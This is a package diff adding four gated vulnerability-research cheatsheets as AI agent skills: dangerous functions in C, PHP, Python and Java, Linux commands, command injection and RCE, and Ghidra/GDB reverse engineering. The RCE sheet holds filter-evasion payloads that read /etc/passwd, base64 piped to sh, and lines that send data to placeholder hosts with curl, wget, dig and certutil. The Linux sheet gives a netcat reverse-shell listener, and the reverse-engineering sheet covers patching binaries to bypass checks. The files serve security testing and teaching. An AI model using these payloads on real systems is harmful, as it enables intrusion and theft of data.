ineedcodes 1.6.1 → 1.7.0

package/skills/vr-cheatsheet-dangerous_functions/SKILL.md

@@ -0,0 +1,200 @@
+---
+name: vr-cheatsheet-dangerous_functions
+description: >-
+  Vulnerability research reference: dangerous_functionsgated: true
+---
+# ☢️ Dangerous Functions & Source Code Review Cheatsheet
+
+> **⚠️ Context Matters:** Presence of these functions isn't an instant vulnerability. You must verify if **user-controlled input** reaches these sinks without sanitization.
+
+---
+
+## 🦕 1. C / C++ (Memory Corruption & Command Injection)
+
+*The classic targets for buffer overflows and binary exploitation.*
+
+### Buffer Overflow Sinks (Stack/Heap)
+
+*These functions do not check the length of the source buffer.*
+
+| Function | Danger | Safer Alternative |
+| --- | --- | --- |
+| `gets()` | **CRITICAL.** Impossible to use safely. Reads until newline. | `fgets()` |
+| `strcpy(dest, src)` | Copies until null byte. Overflows `dest` if `src` is larger. | `strncpy()` (be careful with null-termination) |
+| `strcat(dest, src)` | Concatenates `src` to `dest`. | `strncat()` |
+| `sprintf(dest, fmt)` | Prints to buffer without length check. | `snprintf()` |
+| `vsprintf()` | Variadic version of `sprintf`. | `vsnprintf()` |
+
+### Command Injection
+
+*Look for user input being concatenated into these strings.*
+
+```c
+system("ls " + input);  // VULNERABLE
+popen("cat " + input, "r");
+execlp(...);
+execvp(...);
+
+```
+
+### Format String
+
+*If the format string itself is user-controlled.*
+
+```c
+printf(user_input); // VULNERABLE: %x %n can read/write memory
+syslog(priority, user_input);
+fprintf(stderr, user_input);
+
+```
+
+### Race Conditions (TOCTOU)
+
+*Time-of-Check to Time-of-Use.*
+
+* **Pattern:** `access(file)` followed by `open(file)`.
+* **Exploit:** Swap the file between the check and the open.
+
+---
+
+## 🐘 2. PHP (Web Vulnerabilities)
+
+*Common in legacy web apps and CMS plugins.*
+
+### Remote Code Execution (RCE)
+
+```php
+eval($input);           // Executes string as PHP code
+assert($input);         // Identical to eval() in older PHP
+system($cmd);           // Executes shell command
+shell_exec($cmd);       // Same as backticks `cmd`
+passthru($cmd);
+exec($cmd);
+proc_open($cmd);
+popen($cmd);
+pcntl_exec($path);
+
+```
+
+### File Inclusion (LFI / RFI)
+
+*Allows reading local files or executing remote scripts.*
+
+```php
+include($page);
+require($page);
+include_once($page);
+require_once($page);
+
+```
+
+### Object Injection
+
+*The PHP equivalent of deserialization attacks.*
+
+```php
+unserialize($data);  // Triggers __wakeup() or __destruct() magic methods
+
+```
+
+---
+
+## 🐍 3. Python (Modern Automation & Web)
+
+### OS Command Injection
+
+```python
+import os
+os.system("cmd " + input)
+os.popen("cmd " + input)
+
+import subprocess
+# Vulnerable if shell=True is used with string concatenation
+subprocess.call("cmd " + input, shell=True) 
+subprocess.Popen("cmd " + input, shell=True)
+
+```
+
+### Deserialization (Pickle)
+
+*Never unpickle untrusted data. It is essentially RCE.*
+
+```python
+import pickle
+pickle.loads(user_input) 
+_pickle.loads(user_input)
+yaml.load(input) # PyYAML (Old versions require Loader=SafeLoader)
+
+```
+
+### SQL Injection (ORM Bypasses)
+
+*Watch for f-strings or format strings in queries.*
+
+```python
+# VULNERABLE
+cursor.execute(f"SELECT * FROM users WHERE name = '{input}'") 
+cursor.execute("SELECT * FROM users WHERE name = '%s'" % input)
+
+# SAFE (Parameterized)
+cursor.execute("SELECT * FROM users WHERE name = %s", (input,))
+
+```
+
+---
+
+## ☕ 4. Java (Enterprise Apps)
+
+### Deserialization
+
+*Look for classes implementing `Serializable` and inputs reading objects.*
+
+```java
+ObjectInputStream.readObject();
+
+```
+
+### XML External Entity (XXE)
+
+*If XML parsers are not configured to disable DTDs.*
+
+```java
+DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
+// Vulnerable if setExpandEntityReferences(false) is NOT called
+dbf.newDocumentBuilder().parse(input);
+
+```
+
+### Command Execution
+
+```java
+Runtime.getRuntime().exec(input); // Splitting args is tricky here
+ProcessBuilder(input).start();
+
+```
+
+---
+
+## 🔍 5. Grep / Semgrep Patterns
+
+*Copy-paste these into your terminal to hunt fast.*
+
+**Quick "Grep" Hunt (Generic)**
+
+```bash
+grep -RnE "system\(|exec\(|popen\(|eval\(|strcpy\(|strcat\(|memcpy\(|unserialize\(|pickle\.loads" .
+
+```
+
+**Semgrep Rules (Better than Grep)**
+*If you use Semgrep (recommended), use these rulesets:*
+
+```bash
+semgrep --config=p/c --config=p/security-audit .
+semgrep --config=p/python --config=p/owasp-top-ten .
+
+```
+
+---
+
+> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.

package/skills/vr-cheatsheet-linux_commands/SKILL.md

@@ -0,0 +1,40 @@
+---
+name: vr-cheatsheet-linux_commands
+description: >-
+  Vulnerability research reference: linux_commandsgated: true
+---
+# Linux Commands Reference
+
+## Catch Reverse Shell
+`nc -lvnp 4444`
+
+## Start Web Server
+`sudo python3 -m http.server 8000`
+
+## What shell am I using?
+`echo $SHELL`
+
+## Set Alias Permanently (Bash Shell)
+```bash
+echo "alias c='clear'" >> ~/.bash_aliases
+echo "alias shut='sudo shutdown now'" >> ~/.bash_aliases
+source ~/.bashrc
+```
+
+## Set Alias Permanently (Z Shell)
+```bash
+echo "alias c='clear'" >> ~/.zshrc
+echo "alias shut='sudo shutdown now'" >> ~/.zshrc
+source ~/.zshrc
+```
+
+## Update OS
+`sudo apt update && sudo apt upgrade -y`
+
+## Test Port With Netcat
+`nc -zv <IP_ADDR> 1516`
+
+## Check Root File Space
+`df -h /`
+
+> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.

package/skills/vr-cheatsheet-rce/SKILL.md

@@ -0,0 +1,177 @@
+---
+name: vr-cheatsheet-rce
+description: >-
+  Vulnerability research reference: rcegated: true
+---
+# 💥 Command Injection & RCE Cheatsheet
+
+> **⚠️ Scope:** This applies when user input is passed insecurely to system shells (e.g., `system()`, `exec()`, `subprocess.call(shell=True)`).
+
+---
+
+## 🔧 1. The Separators (Injection Operators)
+
+*How to chain your command after the legitimate one.*
+
+| Operator | Linux (Bash/Sh) | Windows (CMD/PowerShell) | Behavior |
+| --- | --- | --- | --- |
+| **`;`** | ✅ | ❌ | Sequential execution. Run A, then run B. |
+| **`&`** | ✅ | ✅ | Background execution. Run A (background), run B immediately. |
+| **`&&`** | ✅ | ✅ | AND. Run B only if A succeeds. |
+| **` | `** | ✅ | ✅ |
+| **` |  | `** | ✅ |
+| **`\n`** | ✅ | ❌ | Newline (0x0a). Often works if others are filtered. |
+| **```** | ✅ | ❌ | Backticks. Command substitution (executes content inside). |
+| **`$()`** | ✅ | ✅ (PS) | Command substitution. |
+
+---
+
+## 🚧 2. Filter Evasion (Linux)
+
+*When the WAF blocks "spaces", "cat", or "flag".*
+
+### A. Space Bypasses (No Spaces Allowed)
+
+```bash
+cat${IFS}/etc/passwd
+cat<etc/passwd
+{cat,/etc/passwd}
+X=$'cat\x20/etc/passwd'&&$X
+
+```
+
+### B. Keyword Bypassing (Blacklist Evasion)
+
+*Bypassing filters looking for `cat`, `whoami`, `etc`.*
+
+```bash
+# Concatenation
+c'a't /etc/passwd
+"c"a"t" /etc/passwd
+\c\a\t /etc/passwd
+
+# Variable Expansion
+a=c;b=at;$a$b /etc/passwd
+
+# Wildcards (The "Tarzan" Method)
+/bin/c?? /etc/pa??wd  (Resolves to /bin/cat /etc/passwd)
+/???/??t /???/p??s??  (Resolves to /bin/cat /etc/passwd)
+
+```
+
+### C. Character Encoding
+
+```bash
+# Hex Encoding (Execute via standard input)
+echo -e "\x2f\x62\x69\x6e\x2f\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" | sh
+
+# Base64
+echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
+
+```
+
+---
+
+## 🪟 3. Filter Evasion (Windows)
+
+*Windows CMD/PowerShell tricks.*
+
+### A. Character Obfuscation
+
+```cmd
+# Caret (^) Escape (CMD ignores them)
+c^a^t f^l^a^g
+who^ami
+
+# String Concatenation (PowerShell)
+"who"+"ami" | iex
+
+```
+
+### B. Environment Variables
+
+```cmd
+# %COMSPEC% points to cmd.exe
+%COMSPEC% /c dir
+
+```
+
+---
+
+## ⏳ 4. Blind RCE
+
+*When you don't see the output (no stdout).*
+
+### Time-Based (Delays)
+
+```bash
+# Linux
+ping -c 10 127.0.0.1
+sleep 5
+
+# Windows
+ping -n 10 127.0.0.1
+timeout /t 5
+
+```
+
+### Output Redirection (Web Root)
+
+*Write the output to a file you can access via the browser.*
+
+```bash
+whoami > /var/www/html/output.txt
+
+```
+
+---
+
+## 📡 5. Out-of-Band (OOB) Exfiltration
+
+*Using DNS or HTTP to steal data when TCP is blocked or output is blind.*
+
+### DNS Exfiltration (The "Canary")
+
+*Send the output as a subdomain.*
+
+```bash
+# Linux
+ping -c 1 $(whoami).your-collaborator.com
+dig $(whoami).your-collaborator.com
+
+# Windows
+nslookup %USERNAME%.your-collaborator.com
+ping %USERNAME%.your-collaborator.com
+
+```
+
+### HTTP Exfiltration
+
+```bash
+# Linux (Curl/Wget)
+curl http://your-server.com/$(whoami)
+wget http://your-server.com/$(whoami)
+
+# Windows (Certutil / PowerShell)
+certutil -urlcache -split -f http://your-server.com/%USERNAME%
+powershell -c "Invoke-WebRequest -Uri http://your-server.com/$env:USERNAME"
+
+```
+
+---
+
+## 🧪 6. Polyglots
+
+*Try these to test multiple separators at once.*
+
+```text
+& ping -c 10 127.0.0.1 &
+; ping -c 10 127.0.0.1 ;
+| ping -c 10 127.0.0.1 |
+|| ping -c 10 127.0.0.1 ||
+`ping -c 10 127.0.0.1`
+$(ping -c 10 127.0.0.1)
+
+```
+
+> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.

package/skills/vr-cheatsheet-reverse_engineering/SKILL.md

@@ -0,0 +1,144 @@
+---
+name: vr-cheatsheet-reverse_engineering
+description: >-
+  Vulnerability research reference: reverse_engineeringgated: true
+---
+# 🔄 Reverse Engineering (Ghidra & GDB) Cheatsheet
+
+---
+
+## 🐞 1. GDB: Dynamic Analysis & Execution Control
+
+*Commands for stepping through execution, setting breakpoints, and controlling the binary flow.*
+
+### Starting & Attaching
+
+*Launch binaries or hook into running processes.*
+
+```bash
+gdb ./binary          # Start GDB with the target binary
+gdb -p <PID>          # Attach to a running process
+gdb -c core ./binary  # Load a core dump for post-crash analysis
+
+```
+
+### Execution & Breakpoints
+
+*Control how the program runs and where it stops.*
+
+| Command | Shortcut | Description |
+| --- | --- | --- |
+| `run [args]` | `r` | Start execution (optionally pass CLI arguments). |
+| `break *0xADDR` | `b` | Set a breakpoint at a specific memory address. |
+| `break main` | `b` | Set a breakpoint at a function name. |
+| `continue` | `c` | Resume execution until the next breakpoint or crash. |
+| `stepi` | `si` | Execute exactly one machine instruction (steps *into* calls). |
+| `nexti` | `ni` | Execute one machine instruction (steps *over* calls). |
+| `finish` |  | Run until the current function returns. |
+
+---
+
+## 🧠 2. GDB: Memory & Register Inspection
+
+*Commands for dumping memory contents and analyzing the CPU state.*
+
+### Examining Registers
+
+*View the current state of CPU registers.*
+
+```gdb
+info registers        # Show all standard integer registers
+info registers eflags # Show status flags (Zero flag, Carry flag, etc.)
+print $rax            # Print the value of a specific register
+
+```
+
+### Examining Memory (`x` command)
+
+*Format: `x/[Count][Format][Size] Address*`
+
+```gdb
+# Formats: x (hex), d (decimal), s (string), i (instruction)
+# Sizes: b (byte), h (halfword/2-bytes), w (word/4-bytes), g (giant/8-bytes)
+
+x/10i $pc             # Disassemble the next 10 instructions at the Program Counter
+x/4xg $rsp            # View the top 4 QWORDs (8-bytes) on the stack
+x/s 0x4005d0          # Read a null-terminated string at the specified address
+x/32wx $rbp-0x20      # Dump 32 DWORDs (4-bytes) in hex starting from a local variable
+
+```
+
+---
+
+## 🐉 3. Ghidra: Static Analysis & Navigation
+
+*Shortcuts and workflows for mapping out the binary without executing it.*
+
+### Core Navigation Shortcuts
+
+*Move around the disassembly and decompiled views quickly.*
+
+| Action | Shortcut | Description |
+| --- | --- | --- |
+| **Go To Address** | `G` | Jump to a specific hex address or symbol name. |
+| **Find References** | `Ctrl + Shift + F` | Find cross-references (XREFs) to a function or string. |
+| **Search Strings** | `Search -> For Strings` | Extract all hardcoded strings (useful for finding error messages). |
+| **Search Memory** | `Search -> Memory` | Scan for specific hex byte sequences or patterns. |
+| **Rename Symbol** | `L` | Rename a function, variable, or label (updates globally). |
+
+### Decompiler Manipulation
+
+*Clean up Ghidra's C-pseudocode output to make it readable.*
+
+```text
+- Retype Variable (Ctrl + L): Change an 'int' to a 'char*' or custom struct pointer.
+- Edit Function Signature: Right-click the function name to fix incorrect arguments/returns.
+- Auto-Create Struct: Right-click a pointer variable -> "Auto Create Structure" to map offsets.
+
+```
+
+---
+
+## 🌉 4. Bridging Ghidra and GDB (Dealing with ASLR/PIE)
+
+*When a binary is compiled with PIE (Position Independent Executable), Ghidra's static addresses won't match GDB's dynamic addresses.*
+
+### Step 1: Find Ghidra's Image Base
+
+1. Open the **Memory Map** in Ghidra (`Window -> Memory Map`).
+2. Look at the `Start` address of the executable segment (usually `0x00100000` or `0x00400000`).
+
+### Step 2: Find GDB's Process Base
+
+1. Start the program in GDB and hit a breakpoint.
+2. Run `info proc mappings` or `vmmap` (if using GEF/Pwndbg).
+3. Look for the lowest start address associated with your binary's path.
+
+### Step 3: Calculate the Target Address
+
+*To set a breakpoint in GDB at a function you found in Ghidra:*
+
+```text
+Target GDB Address = (Ghidra Function Address - Ghidra Image Base) + GDB Process Base
+
+```
+
+---
+
+## 🩹 5. Binary Patching (Ghidra)
+
+*Modifying the binary to bypass checks or alter behavior.*
+
+### Modifying Instructions
+
+1. Go to the Listing View (Disassembly).
+2. Right-click the instruction -> **Patch Instruction** (`Ctrl + Shift + G`).
+3. Type the new assembly (e.g., change `je` to `jmp`, or write `nop`).
+
+### Exporting the Patched Binary
+
+1. File -> **Export Program** (`O`).
+2. Set Format to **Binary** or **Original File**.
+3. *Note: Original File export might require external scripts (like `SavePatch.py`) to properly rebuild ELF/PE headers depending on the Ghidra version.*
+
+> Source: skraft9/vulnerability-research. Authorized security work only. Gated skill: needs the developer keyword.